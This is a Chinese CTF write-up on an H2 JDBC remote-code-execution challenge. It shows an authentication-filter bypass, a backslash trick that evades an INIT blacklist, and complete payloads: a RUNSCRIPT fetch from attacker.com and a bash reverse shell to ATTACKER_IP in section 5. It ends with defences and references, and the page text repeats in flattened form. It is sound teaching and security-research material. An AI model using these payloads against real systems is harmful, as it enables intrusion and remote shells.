从DASCTF 2025上半年赛-泽西岛开始的H2 JDBC RCE漏洞分析
字数 1572 2025-08-30 06:50:27

H2 JDBC RCE漏洞分析与利用教学文档

1. 环境搭建

1.1 本地调试环境准备

  1. 获取题目提供的war包
  2. 将war包放入tomcat的webapp目录中
  3. 在tomcat的startup.bat中加入debug参数以启用调试模式
  4. 启动tomcat环境

1.2 IDEA调试配置

  1. 将项目的lib和classes目录添加为库
  2. 配置JVM远程调试
  3. 启动调试会话

2. 鉴权绕过分析

2.1 框架与配置分析

  • 项目使用Jersey框架
  • 鉴权由AuthenticationFilter类实现
  • 拦截器配置在web.xml中

2.2 鉴权逻辑分析

  1. 白名单路由:"", "test", "login", "register"
  2. 目标路由:/testConnect(不在白名单中)
  3. 绕过条件:
    • 路由不在拦截器白名单中 路由不为文件 → 需要JWT验证
    • 任意一个条件不满足即可绕过

2.3 绕过方法

  1. 利用isBaseFile方法返回true:
    • 路径中不包含/
    • 路径包含.字符
  2. 利用Jersey框架路径解析特性:
    • getUriInfo().getPath()直接返回请求路径部分
    • 示例:http://127.0.0.1/api/test;test → 返回api/test;test/
  3. 实际绕过payload:
    • 使用;截断
    • 包含.字符使isBaseFile返回true

3. H2 JDBC RCE漏洞分析

3.1 漏洞路由分析

  • 目标路由:/testConnect
  • 处理类:JDBCServlet
  • 关键参数:jdbcUrl

3.2 限制条件

  1. URL必须以jdbc:h2开头
  2. 自动追加;FORBID_CREATION=TRUE(禁止创建数据库)
  3. 黑名单过滤:禁止使用INIT等关键字

3.3 绕过技术

  1. 分号转义:
    • 使用反斜杠\转义分号
    • 示例:;\;(变为普通字符)
  2. INIT关键字绕过:
    • 使用/字符插入:IN\IT
    • 处理过程中\会被忽略,还原为INIT

4. 漏洞利用原理深入分析

4.1 漏洞触发流程

  1. DriverManager.getConnection()调用
  2. 进入H2的JdbcConnection
  3. 解析连接URL:
    • ConnectionInfo类处理
    • readSettingsFromURL方法提取配置

4.2 关键处理点

  1. arraySplit方法处理URL字符串
  2. 转义字符处理:
    • IN\IT中的\会被忽略
    • I被直接加入StringBuilder
  3. 最终还原为有效的INIT命令

4.3 漏洞利用链

  1. 构造恶意JDBC URL:
    jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'\;FORBID_CREATION=TRUE
    
  2. 通过反斜杠绕过黑名单检测
  3. 服务器处理时还原为有效INIT命令
  4. 执行远程SQL脚本实现RCE

5. 漏洞利用Payload

5.1 反射Payload

jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;IN\IT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "success";}';CALL EXEC('calc.exe')\;FORBID_CREATION=TRUE

5.2 反弹Shell Payload

jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;IN\IT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});return "success";}';CALL EXEC('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1')\;FORBID_CREATION=TRUE

6. 防御措施

  1. 升级H2数据库到最新安全版本
  2. 严格过滤JDBC连接字符串:
    • 禁止用户控制完整的JDBC URL
    • 实现严格的白名单机制
  3. 转义所有特殊字符
  4. 使用安全管理器限制危险操作

7. 参考资源

  1. DataEase修复commit: https://github.com/dataease/dataease/commit/dd35752f298b1a4079d9993b622220d321b0c8a6
  2. 浅谈H2database的RCE漏洞: https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html
  3. 相关技术分析文章: https://mp.weixin.qq.com/s/laMT4-M00t8xAY_Autdb3A
H2 JDBC RCE漏洞分析与利用教学文档 1. 环境搭建 1.1 本地调试环境准备 获取题目提供的war包 将war包放入tomcat的webapp目录中 在tomcat的startup.bat中加入debug参数以启用调试模式 启动tomcat环境 1.2 IDEA调试配置 将项目的lib和classes目录添加为库 配置JVM远程调试 启动调试会话 2. 鉴权绕过分析 2.1 框架与配置分析 项目使用Jersey框架 鉴权由AuthenticationFilter类实现 拦截器配置在web.xml中 2.2 鉴权逻辑分析 白名单路由: "" , "test" , "login" , "register" 目标路由: /testConnect (不在白名单中) 绕过条件: 路由不在拦截器白名单中 且 路由不为文件 → 需要JWT验证 任意一个条件不满足即可绕过 2.3 绕过方法 利用 isBaseFile 方法返回true: 路径中不包含 / 路径包含 . 字符 利用Jersey框架路径解析特性: getUriInfo().getPath() 直接返回请求路径部分 示例: http://127.0.0.1/api/test;test → 返回 api/test;test/ 实际绕过payload: 使用 ; 截断 包含 . 字符使 isBaseFile 返回true 3. H2 JDBC RCE漏洞分析 3.1 漏洞路由分析 目标路由: /testConnect 处理类: JDBCServlet 关键参数: jdbcUrl 3.2 限制条件 URL必须以 jdbc:h2 开头 自动追加 ;FORBID_CREATION=TRUE (禁止创建数据库) 黑名单过滤:禁止使用 INIT 等关键字 3.3 绕过技术 分号转义: 使用反斜杠 \ 转义分号 示例: ; → \; (变为普通字符) INIT关键字绕过: 使用 / 字符插入: IN\IT 处理过程中 \ 会被忽略,还原为 INIT 4. 漏洞利用原理深入分析 4.1 漏洞触发流程 DriverManager.getConnection() 调用 进入H2的 JdbcConnection 类 解析连接URL: ConnectionInfo 类处理 readSettingsFromURL 方法提取配置 4.2 关键处理点 arraySplit 方法处理URL字符串 转义字符处理: IN\IT 中的 \ 会被忽略 I 被直接加入 StringBuilder 最终还原为有效的 INIT 命令 4.3 漏洞利用链 构造恶意JDBC URL: 通过反斜杠绕过黑名单检测 服务器处理时还原为有效INIT命令 执行远程SQL脚本实现RCE 5. 漏洞利用Payload 5.1 反射Payload 5.2 反弹Shell Payload 6. 防御措施 升级H2数据库到最新安全版本 严格过滤JDBC连接字符串: 禁止用户控制完整的JDBC URL 实现严格的白名单机制 转义所有特殊字符 使用安全管理器限制危险操作 7. 参考资源 DataEase修复commit: https://github.com/dataease/dataease/commit/dd35752f298b1a4079d9993b622220d321b0c8a6 浅谈H2database的RCE漏洞: https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html 相关技术分析文章: https://mp.weixin.qq.com/s/laMT4-M00t8xAY_ Autdb3A